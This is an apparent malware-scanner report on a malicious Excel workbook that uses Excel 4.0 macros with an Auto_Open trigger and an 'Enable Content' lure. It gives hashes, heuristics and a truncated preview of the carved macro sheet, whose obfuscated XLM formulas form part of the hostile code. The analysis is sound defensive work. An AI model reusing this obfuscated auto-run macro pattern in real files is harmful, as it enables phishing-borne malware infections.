Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8cc1be5baf287245…

MALICIOUS

Office (OOXML)

20.3 KB Created: 2021-04-20 12:20:03 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: 5b8c54a97c581a42c5ae4e4851bdb5c0 SHA-1: 342cf7837b91af2527dd02e7bed89ee9d003b470 SHA-256: 8cc1be5baf2872455db5bc87882e7db40d6818c54164922148608bb93225501e
122 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is an Excel document containing Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The document body contains text prompting the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass macro security. The presence of an Auto_Open defined name suggests that the macro is designed to execute automatically upon opening the document, likely to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 13859 bytes
SHA-256: 05cf8012619ce504182d080766e524ee8332c3e6a8510a3d2595de691f7fb6b2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E95B6750-FBE2-4F72-8DA1-A77FA40606AC}"><dimension ref="A49:AI116"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">zWuiPQeaUKSN=A49</f><v>0</v></c><c r="C50"><v>-126</v></c><c r="D50" s="1" t="s"><v>0</v></c><c r="E50" s="1" t="s"><v>20</v></c><c r="F50" s="1" t="s"><v>34</v></c><c r="G50" s="1" t="s"><v>36</v></c><c r="H50" s="1" t="s"><v>40</v></c><c r="I50" s="1" t="s"><v>44</v></c><c r="J50" s="1" t="s"><v>51</v></c><c r="K50" s="1" t="s"><v>58</v></c><c r="L50" s="1" t="s"><v>61</v></c><c r="M50" s="1" t="s"><v>65</v></c><c r="N50" s="1" t="s"><v>51</v></c><c r="O50" s="1" t="s"><v>74</v></c><c r="P50" s="1" t="s"><v>80</v></c><c r="Q50" s="1" t="s"><v>100</v></c><c r="R50" s="1" t="s"><v>74</v></c><c r="S50" s="1" t="s"><v>107</v></c><c r="T50" s="1" t="s"><v>44</v></c><c r="U50" s="1" t="s"><v>117</v></c><c r="V50" s="1" t="s"><v>125</v></c><c r="W50" s="1" t="s"><v>131</v></c><c r="X50" s="1" t="s"><v>141</v></c><c r="Y50" s="1" t="s"><v>144</v></c><c r="Z50" s="1" t="s"><v>146</v></c><c r="AA50" s="1" t="s"><v>144</v></c><c r="AB50" s="1" t="s"><v>165</v></c><c r="AC50" s="1" t="s"><v>167</v></c><c r="AD50" s="1" t="s"><v>171</v></c><c r="AE50" s="1" t="s"><v>175</v></c><c r="AF50" s="1" t="s"><v>179</v></c><c r="AG50" s="1" t="s"><v>187</v></c><c r="AH50" s="1" t="s"><v>189</v></c><c r="AI50" s="1" t="s"><v>194</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="A51" t="b"><f>WHILE(AND(NOT(zWuiPQeaUKSN&gt;=32)))</f><v>0</v></c><c r="C51"><v>-199</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52"><f>SUM(-218,-202)</f><v>-420</v></c><c r="C52"><v>58</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="C53"><v>-250</v></c><c r="D53" s="1" t="s"><v>1</v></c><c r="E53" s="1" t="s"><v>21</v></c><c r="F53" s="1" t="s"><v>35</v></c><c r="G53" s="1" t="s"><v>37</v></c><c r="H53" s="1" t="s"><v>41</v></c><c r="I53" s="1" t="s"><v>45</v></c><c r="J53" s="1" t="s"><v>52</v></c><c r="K53" s="1" t="s"><v>59</v></c><c r="L53" s="1" t="s"><v>62</v></c><c r="M53" s="1" t="s"><v>66</v></c><c r="N53" s="1" t="s"><v>69</v></c><c r="O53" s="1" t="s"><v>75</v></c><c r="P53" s="1" t="s"><v>81</v></c><c r="Q53" s="1" t="s"><v>101</v></c><c r="R53" s="1" t="s"><v>104</v></c><c r="S53" s="1" t="s"><v>108</v></c><c r="T53" s="1" t="s"><v>109</v></c><c r="U53" s="1" t="s"><v>118</v></c><c r="V53" s="1" t="s"><v>126</v></c><c r="W53" s="1" t="s"><v>132</v></c><c r="X53" s="1" t="s"><v>142</v></c><c r="Y53" s="1" t="s"><v>145</v></c><c r="Z53" s="1" t="s"><v>147</v></c><c r="AA53" s="1" t="s"><v>82</v></c><c r="AB53" s="1" t="s"><v>166</v></c><c r="AC53" s="1" t="s"><v>168</v></c><c r="AD53" s="1" t="s"><v>172</v></c><c r="AE53" s="1" t="s"><v>176</v></c><c r="AF53" s="1" t="s"><v>180</v></c><c r="AG53" s="1" t="s"><v>188</v></c><c r="AH53" s="1" t="s"><v>190</v></c><c r="AI53" s="1" t="s"><v>195</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="A54" t="b"><f bx="1">knTtNHYA=-3</f><v>0</v></c><c r="C54"><v>-303</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.